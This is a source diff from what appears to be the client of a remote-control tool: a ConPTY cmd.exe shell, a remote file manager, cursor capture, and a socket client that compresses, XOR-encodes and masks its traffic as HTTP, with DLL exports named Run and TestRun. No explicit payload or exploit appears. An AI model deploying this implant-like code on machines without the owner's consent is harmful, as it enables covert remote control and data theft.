static bool s_bApiLoaded;
// Load ConPTY API
static bool LoadConPTYApi();
// Initialize ConPTY and start cmd.exe
bool InitializeConPTY(int cols, int rows);
// Resize terminal
void ResizeTerminal(int cols, int rows);
// Thread to read from PTY
static DWORD WINAPI ReadThread(LPVOID lParam);
};
#endif // CONPTYMANAGER_H

202
client/CursorInfo.h Normal file
View File

@@ -0,0 +1,202 @@
// CursorInfor.h: interface for the CCursorInfor class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
#define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1
#define ALGORITHM_DEFAULT 1
#define ALGORITHM_H264 2
#define ALGORITHM_HOME 3
#define ALGORITHM_RGB565 3
#define MAX_CURSOR_TYPE 16
#define MAX_CURSOR_SIZE 64 // 最大光标尺寸
#define CURSOR_THROTTLE_MS 50 // 光标发送节流间隔 (ms)
#define CURSOR_INDEX_CUSTOM 254 // -2: 使用自定义光标
#define CURSOR_INDEX_UNSUPPORTED 255 // -1: 不支持的光标
// 自定义光标位图信息
struct CursorBitmapInfo {
WORD hotspotX;
WORD hotspotY;
BYTE width;
BYTE height;
DWORD hash;
BYTE bgraData[MAX_CURSOR_SIZE * MAX_CURSOR_SIZE * 4]; // 最大 16KB
DWORD dataSize;
};
class CCursorInfo
{
private:
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
public:
CCursorInfo()
{
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = {
IDC_APPSTARTING,
IDC_ARROW,
IDC_CROSS,
IDC_HAND,
IDC_HELP,
IDC_IBEAM,
IDC_ICON,
IDC_NO,
IDC_SIZE,
IDC_SIZEALL,
IDC_SIZENESW,
IDC_SIZENS,
IDC_SIZENWSE,
IDC_SIZEWE,
IDC_UPARROW,
IDC_WAIT
};
for (int i = 0; i < MAX_CURSOR_TYPE; ++i) {
m_CursorResArray[i] = CursorResArray[i];
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
}
}
int getCurrentCursorIndex() const
{
CURSORINFO ci;
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
int i;
for (i = 0; i < MAX_CURSOR_TYPE; ++i) {
if (ci.hCursor == m_CursorHandleArray[i])
break;
}
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
return nIndex;
}
HCURSOR getCursorHandle( int nIndex ) const
{
return (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) ? m_CursorHandleArray[nIndex] : NULL;
}
// 获取当前光标的位图信息(用于自定义光标)
bool getCurrentCursorBitmap(CursorBitmapInfo* info) const
{
if (!info) return false;
CURSORINFO ci = { sizeof(CURSORINFO) };
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return false;
ICONINFO iconInfo;
if (!GetIconInfo(ci.hCursor, &iconInfo))
return false;
// 获取位图信息
BITMAP bm = { 0 };
HBITMAP hBmp = iconInfo.hbmColor ? iconInfo.hbmColor : iconInfo.hbmMask;
if (!GetObject(hBmp, sizeof(BITMAP), &bm)) {
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
return false;
}
// 限制尺寸
int width = min((int)bm.bmWidth, MAX_CURSOR_SIZE);
int height = min((int)bm.bmHeight, MAX_CURSOR_SIZE);
// 如果是掩码位图(无彩色),高度是实际的两倍
if (!iconInfo.hbmColor && bm.bmHeight > bm.bmWidth) {
height = min((int)bm.bmWidth, MAX_CURSOR_SIZE);
}
info->hotspotX = (WORD)iconInfo.xHotspot;
info->hotspotY = (WORD)iconInfo.yHotspot;
info->width = (BYTE)width;
info->height = (BYTE)height;
info->dataSize = width * height * 4;
// 创建兼容 DC 和位图来获取 BGRA 数据
HDC hScreenDC = GetDC(NULL);
if (!hScreenDC) {
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
return false;
}
HDC hMemDC = CreateCompatibleDC(hScreenDC);
if (!hMemDC) {
ReleaseDC(NULL, hScreenDC);
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
return false;
}
BITMAPINFO bmi = { 0 };
bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmi.bmiHeader.biWidth = width;
bmi.bmiHeader.biHeight = -height; // 负数表示从上到下
bmi.bmiHeader.biPlanes = 1;
bmi.bmiHeader.biBitCount = 32;
bmi.bmiHeader.biCompression = BI_RGB;
void* pBits = NULL;
HBITMAP hDibBmp = CreateDIBSection(hScreenDC, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);
bool success = false;
if (hDibBmp && pBits) {
HBITMAP hOldBmp = (HBITMAP)SelectObject(hMemDC, hDibBmp);
// 绘制光标到位图
DrawIconEx(hMemDC, 0, 0, ci.hCursor, width, height, 0, NULL, DI_NORMAL);
// 复制数据
memcpy(info->bgraData, pBits, info->dataSize);
success = true;
SelectObject(hMemDC, hOldBmp);
DeleteObject(hDibBmp);
}
DeleteDC(hMemDC);
ReleaseDC(NULL, hScreenDC);
// 清理
if (iconInfo.hbmColor) DeleteObject(iconInfo.hbmColor);
if (iconInfo.hbmMask) DeleteObject(iconInfo.hbmMask);
if (!success) return false;
// 计算哈希
info->hash = calculateBitmapHash(info->bgraData, info->dataSize);
return true;
}
// FNV-1a 哈希算法(采样加速)
static DWORD calculateBitmapHash(const BYTE* data, DWORD size)
{
DWORD hash = 2166136261; // FNV offset basis
// 每 16 字节采样一次,加速计算
for (DWORD i = 0; i < size; i += 16) {
hash ^= data[i];
hash *= 16777619; // FNV prime
}
return hash;
}
};
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)

View File

@@ -0,0 +1,4 @@
EXPORTS
TestRun
StopRun
Run

1184
client/FileManager.cpp Normal file

File diff suppressed because it is too large Load Diff

65
client/FileManager.h Normal file
View File

@@ -0,0 +1,65 @@
// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "IOCPClient.h"
#include "common.h"
typedef IOCPClient CClientSocket;
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, *PSENDFILEPROGRESS;
class CFileManager : public CManager
{
public:
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
virtual ~CFileManager();
private:
std::list <std::string> m_UploadList;
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
void UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize);
void CollectFilesRecursiveV2(const std::string& dirPath, const std::string& basePath, std::vector<std::string>& files);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer();
UINT SendFilesList(LPCTSTR lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
UINT SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
void SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName);
void SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPattern, LPBYTE &lpList, DWORD &dwOffset, DWORD &nBufferSize, int nDepth, DWORD &nResultCount, DWORD &dwLastSendTime);
static DWORD WINAPI SearchThreadProc(LPVOID lpParam);
HANDLE m_hSearchThread;
volatile bool m_bSearching;
};
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)

11
client/IOCPBase.h Normal file
View File

@@ -0,0 +1,11 @@
#include "common/commands.h"
class IOCPBase
{
public:
virtual BOOL IsRunning() const = 0;
virtual VOID RunEventLoop(const BOOL& bCondition) = 0;
virtual CONNECT_ADDRESS* GetConnectionAddress() const = 0;
};
typedef BOOL(*TrailCheck)(void);

746
client/IOCPClient.cpp Normal file
View File

@@ -0,0 +1,746 @@
// IOCPClient.cpp: implementation of the IOCPClient class.
//
//////////////////////////////////////////////////////////////////////
#ifdef _WIN32
#include "stdafx.h"
#include <WS2tcpip.h>
#else
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netinet/in.h> // For struct sockaddr_in
#include <unistd.h> // For close()
#include <cstring> // For memset()
inline int WSAGetLastError()
{
return -1;
}
#define USING_COMPRESS 1
// 注意Linux 不启用 USING_CTX因为 libzstd.a (1.5.6) 与 zstd.h (1.5.7) 版本不匹配
// 可能导致 ZSTD_CCtx 结构体 ABI 不兼容,引发堆损坏
// 使用无状态 ZSTD_compress/ZSTD_decompress 更安全
#endif
#include "IOCPClient.h"
#include <assert.h>
#include <string>
#if USING_ZLIB
#include "zlib/zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
#else
#include "common/zstd_wrapper.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
#if USING_CTX
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
#else
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#ifndef _WIN32
BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
{
// 启用 TCP 保活选项
int enable = 1;
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
Mprintf("Failed to enable TCP keep-alive\n");
return FALSE;
}
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
Mprintf("Failed to set TCP_KEEPIDLE\n");
return FALSE;
}
// 设置 TCP_KEEPINTVL (5秒的重试间隔)
int keepAliveInterval = 5; // 5秒
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
Mprintf("Failed to set TCP_KEEPINTVL\n");
return FALSE;
}
// 设置 TCP_KEEPCNT (最多5次探测包后认为连接断开)
int keepAliveProbes = 5;
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
Mprintf("Failed to set TCP_KEEPCNT\n");
return FALSE;
}
Mprintf("TCP keep-alive settings applied successfully\n");
return TRUE;
}
#endif
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect)
{
m_Manager = Manager;
m_DataProcess = dataProcess;
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
}
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
const std::string& pubIP, void* main) : g_bExit(bExit)
{
// 首次构造时打印 ZSTD 版本信息,帮助诊断版本兼容性问题
static bool versionLogged = false;
if (!versionLogged) {
versionLogged = true;
unsigned ver = ZSTD_versionNumber();
#if USING_CTX
Mprintf("[IOCPClient] ZSTD version: %u.%u.%u, USING_CTX=1\n",
ver / 10000, (ver / 100) % 100, ver % 100);
#else
Mprintf("[IOCPClient] ZSTD version: %u.%u.%u, USING_CTX=0\n",
ver / 10000, (ver / 100) % 100, ver % 100);
#endif
}
m_main = main;
int encoder = conn ? conn->GetHeaderEncType() : 0;
m_sLocPublicIP = pubIP;
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
m_EncoderType = encoder;
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
#ifdef _WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
#endif
m_sClientSocket = INVALID_SOCKET;
m_hWorkThread = NULL;
m_bWorkThread = S_STOP;
m_bIsRunning = TRUE;
m_bConnected = FALSE;
m_exit_while_disconnect = exit_while_disconnect;
m_ReconnectFunc = NULL;
#if USING_CTX
m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx();
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
if (Z_FAILED(n)) {
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
}
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1);
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19);
#endif
}
void IOCPClient::SetMultiThreadCompress(int threadNum)
{
#if USING_CTX
BOOL failed = TRUE;
if (threadNum > 1) {
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
}
if (failed) {
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
}
#endif
}
IOCPClient::~IOCPClient()
{
m_bIsRunning = FALSE;
Disconnect();
if (m_hWorkThread!=NULL) {
SAFE_CLOSE_HANDLE(m_hWorkThread);
m_hWorkThread = NULL;
}
#ifdef _WIN32
WSACleanup();
#endif
while (S_RUN == m_bWorkThread)
Sleep(10);
m_bWorkThread = S_END;
#if USING_CTX
ZSTD_freeCCtx(m_Cctx);
ZSTD_freeDCtx(m_Dctx);
#endif
m_masker->Destroy();
SAFE_DELETE(m_Encoder);
}
// 从域名获取IP地址
std::string GetIPAddress(const char *hostName)
{
#ifdef _WIN32
struct sockaddr_in sa = { 0 };
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
return hostName;
}
struct hostent *host = gethostbyname(hostName);
#ifdef _DEBUG
if (host == NULL) return "";
Mprintf("此域名的IP类型为: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
for (int i = 0; host->h_addr_list[i]; ++i)
Mprintf("获取的第%d个IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
#endif
if (host == NULL || host->h_addr_list == NULL)
return "";
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
#else
struct addrinfo hints, * res;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET; // IPv4
hints.ai_socktype = SOCK_STREAM; // TCP socket
int status = getaddrinfo(hostName, nullptr, &hints, &res);
if (status != 0) {
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
return "";
}
struct sockaddr_in* addr = reinterpret_cast<struct sockaddr_in*>(res->ai_addr);
char ip[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
Mprintf("IP Address: %s \n", ip);
freeaddrinfo(res); // 不要忘记释放地址信息
return ip;
#endif
}
#ifdef _WIN32
BOOL ConnectWithTimeout(SOCKET sock, SOCKADDR *addr, int timeout_sec=5)
{
// 临时设为非阻塞
u_long mode = 1;
ioctlsocket(sock, FIONBIO, &mode);
// 发起连接(非阻塞)
int ret = connect(sock, addr, sizeof(*addr));
if (ret == SOCKET_ERROR) {
int err = WSAGetLastError();
if (err != WSAEWOULDBLOCK && err != WSAEINPROGRESS) {
return FALSE;
}
}
// 等待可写(代表连接完成或失败)
fd_set writefds;
FD_ZERO(&writefds);
FD_SET(sock, &writefds);
timeval tv;
tv.tv_sec = timeout_sec;
tv.tv_usec = 0;
ret = select(0, NULL, &writefds, NULL, &tv);
if (ret <= 0 || !FD_ISSET(sock, &writefds)) {
return FALSE; // 超时或出错
}
// 检查连接是否真正成功
int error = 0;
int len = sizeof(error);
getsockopt(sock, SOL_SOCKET, SO_ERROR, (char*)&error, &len);
if (error != 0) {
return FALSE;
}
// 改回阻塞模式
mode = 0;
ioctlsocket(sock, FIONBIO, &mode);
return TRUE;
}
#endif
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
{
if (szServerIP != NULL && uPort != 0) {
SetServerAddress(szServerIP, uPort);
}
m_sCurIP = m_Domain.SelectIP();
m_masker->SetServer(m_sCurIP.c_str());
unsigned short port = m_nHostPort;
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //传输层
if (m_sClientSocket == SOCKET_ERROR) {
return FALSE;
}
#ifdef _WIN32
m_ServerAddr.sin_family = AF_INET;
m_ServerAddr.sin_port = htons(port);
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
if (!ConnectWithTimeout(m_sClientSocket,(SOCKADDR *)&m_ServerAddr)) {
if (m_sClientSocket!=INVALID_SOCKET) {
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
}
return FALSE;
}
#else
m_ServerAddr.sin_family = AF_INET;
m_ServerAddr.sin_port = htons(port);
// 若szServerIP非数字开头则认为是域名需进行IP转换
// 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6)
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
Mprintf("Invalid address or address not supported\n");
return false;
}
// 创建套接字
if (m_sClientSocket == -1) {
Mprintf("Failed to create socket\n");
return false;
}
// 连接到服务器
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
Mprintf("Connection failed\n");
close(m_sClientSocket);
m_sClientSocket = -1; // 标记套接字无效
return false;
}
#endif
const int chOpt = 1; // True
// 启用 TCP_NODELAY 禁用 Nagle 算法,减少小包延迟
int nodelay = 1;
setsockopt(m_sClientSocket, IPPROTO_TCP, TCP_NODELAY, (char*)&nodelay, sizeof(nodelay));
// 增大发送缓冲区到 256KB
int sendBufSize = 256 * 1024;
setsockopt(m_sClientSocket, SOL_SOCKET, SO_SNDBUF, (char*)&sendBufSize, sizeof(sendBufSize));
// Set KeepAlive 开启保活机制, 防止服务端产生死连接
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
(char *)&chOpt, sizeof(chOpt)) == 0) {
#ifdef _WIN32
// 设置超时详细信息
tcp_keepalive klive;
klive.onoff = 1; // 启用保活
klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive
klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
NULL, 0,(unsigned long *)&chOpt,0,NULL);
#else
// 设置保活选项
SetKeepAliveOptions(m_sClientSocket);
#endif
}
m_bConnected = TRUE;
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
if (m_hWorkThread == NULL) {
#ifdef _WIN32
m_bIsRunning = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
#else
pthread_t id = 0;
int ret = pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
if (ret == 0) {
m_bWorkThread = S_RUN;
m_bIsRunning = TRUE;
}
#endif
}
return TRUE;
}
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
{
IOCPClient* This = (IOCPClient*)lParam;
char* szBuffer = new char[MAX_RECV_BUFFER];
fd_set fd;
struct timeval tm;
CBuffer m_CompressedBuffer;
while (This->IsRunning()) { // 没有退出,就一直陷在这个循环中
if(!This->IsConnected()) {
Sleep(50);
continue;
}
FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd);
// Linux select() 会修改 timeval必须每次重置
tm.tv_sec = 2;
tm.tv_usec = 0;
#ifdef _WIN32
int iRet = select(NULL, &fd, NULL, NULL, &tm);
#else
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
#endif
if (iRet <= 0) {
if (iRet == 0) Sleep(50);
else {
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
This->Disconnect(); //接收错误处理
m_CompressedBuffer.ClearBuffer();
if(This->m_exit_while_disconnect)
break;
}
} else if (iRet > 0) {
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
break;
}
}
}
SAFE_CLOSE_HANDLE(This->m_hWorkThread);
This->m_hWorkThread = NULL;
This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE;
delete[] szBuffer;
return 0xDEAD;
}
bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, int len, int flag)
{
int iReceivedLength = ReceiveData(szBuffer, len, flag);
if (iReceivedLength <= 0) {
int a = WSAGetLastError();
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
Disconnect(); //接收错误处理
m_CompressedBuffer->ClearBuffer();
if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
return false;
} else {
szBuffer[iReceivedLength] = 0;
//正确接收就调用OnRead处理,转到OnRead
OnServerReceiving(m_CompressedBuffer, szBuffer, iReceivedLength);
}
return true;
}
// 带异常处理的数据处理逻辑:
// 如果 f 执行时 没有触发系统异常(如访问冲突),返回 0
// 如果 f 执行过程中 抛出了异常(比如空指针访问),将被 __except 捕获,返回异常码(如 0xC0000005 表示访问违规)
int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len)
{
#ifdef _WIN32
__try {
if (f) f(manager, data, len);
return 0;
} __except (EXCEPTION_EXECUTE_HANDLER) {
return GetExceptionCode();
}
#else
// 非 Windows 平台暂不支持 SEH 异常处理,直接调用
if (f) f(manager, data, len);
return 0;
#endif
}
VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, ULONG ulLength)
{
try {
assert (ulLength > 0);
//以下接到数据进行解压缩
m_CompressedBuffer->WriteBuffer((LPBYTE)szBuffer, ulLength);
int FLAG_LENGTH = m_Encoder->GetFlagLen();
int HDR_LENGTH = m_Encoder->GetHeadLen();
//检测数据是否大于数据头大小 如果不是那就不是正确的数据
while (m_CompressedBuffer->GetBufferLength() > HDR_LENGTH) {
// UnMask
char* src = (char*)m_CompressedBuffer->GetBuffer();
ULONG srcSize = m_CompressedBuffer->GetBufferLength();
PkgMaskType maskType = MaskTypeUnknown;
ULONG ret = TryUnMask(src, srcSize, maskType);
// ULONG ret = m_masker->UnMask(src, srcSize);
m_CompressedBuffer->Skip(ret);
if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
break;
char szPacketFlag[32] = {0};
src = (char*)m_CompressedBuffer->GetBuffer();
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
//判断数据头
HeaderEncType encType = HeaderEncUnknown;
FlagType flagType = CheckHead(szPacketFlag, encType);
if (flagType == FLAG_UNKNOWN) {
// 打印诊断信息
ULONG bufLen = m_CompressedBuffer->GetBufferLength();
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: ", bufLen);
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
Mprintf("%02X ", (unsigned char)src[i]);
}
Mprintf("\n");
m_CompressedBuffer->ClearBuffer();
break;
}
ULONG ulPackTotalLength = 0;
CopyMemory(&ulPackTotalLength, m_CompressedBuffer->GetBuffer(FLAG_LENGTH), sizeof(ULONG));
// 包长度合理性检查:防止错误的长度值导致内存问题
// 单个包不应超过 50MB且至少要大于头部长度支持大型DLL执行代码传输
const ULONG MAX_PACKET_SIZE = 50 * 1024 * 1024;
if (ulPackTotalLength <= (ULONG)HDR_LENGTH || ulPackTotalLength > MAX_PACKET_SIZE) {
Mprintf("[ERROR] Invalid packet length: %lu (HDR=%d)\n", ulPackTotalLength, HDR_LENGTH);
m_CompressedBuffer->ClearBuffer();
break;
}
//--- 数据的大小正确判断
ULONG len = m_CompressedBuffer->GetBufferLength();
if (ulPackTotalLength && len >= ulPackTotalLength) {
ULONG ulOriginalLength = 0;
m_CompressedBuffer->ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//读取各种头部 shine
m_CompressedBuffer->ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
m_CompressedBuffer->ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
// 解压后长度合理性检查
if (ulOriginalLength == 0 || ulOriginalLength > MAX_PACKET_SIZE) {
Mprintf("[ERROR] Invalid original length: %lu. Skipping packet.\n", ulOriginalLength);
ULONG skipLen = ulPackTotalLength - HDR_LENGTH;
if (skipLen > 0 && skipLen < len) {
m_CompressedBuffer->Skip(skipLen);
}
continue;
}
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
const int bufSize = 512;
BYTE buf1[bufSize], buf2[bufSize];
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
PBYTE DeCompressedBuffer = ulOriginalLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet)) { //如果解压成功
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
}
} else {
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
// ReadBuffer 已消费当前包,不需要清空缓冲区
}
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
} else {
break; // received data is incomplete
}
}
} catch(...) {
m_CompressedBuffer->ClearBuffer();
Mprintf("[ERROR] OnServerReceiving catch an error \n");
}
}
// 向server发送数据压缩操作比较耗时。
// 关闭压缩开关时SendWithSplit比较耗时。
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask) //Hello
{
AUTO_TICK(100, std::to_string(ulOriginalLength));
assert (ulOriginalLength > 0);
// 整个发送过程需要加锁,防止多线程(视频+音频)数据交错
std::lock_guard<std::mutex> lock(m_Locker);
{
int cmd = BYTE(szBuffer[0]);
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
//防止缓冲区溢出// HelloWorld 10 22
//数据压缩 压缩算法 微软提供
//nSize = 436
//destLen = 448
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (Z_FAILED(iRet)) {
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
if (CompressedBuffer != buf) delete [] CompressedBuffer;
return FALSE;
}
#if !USING_ZLIB
ulCompressedLength = iRet;
#endif
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
CBuffer m_WriteBuffer;
HeaderFlag H = m_Encoder->GetHead();
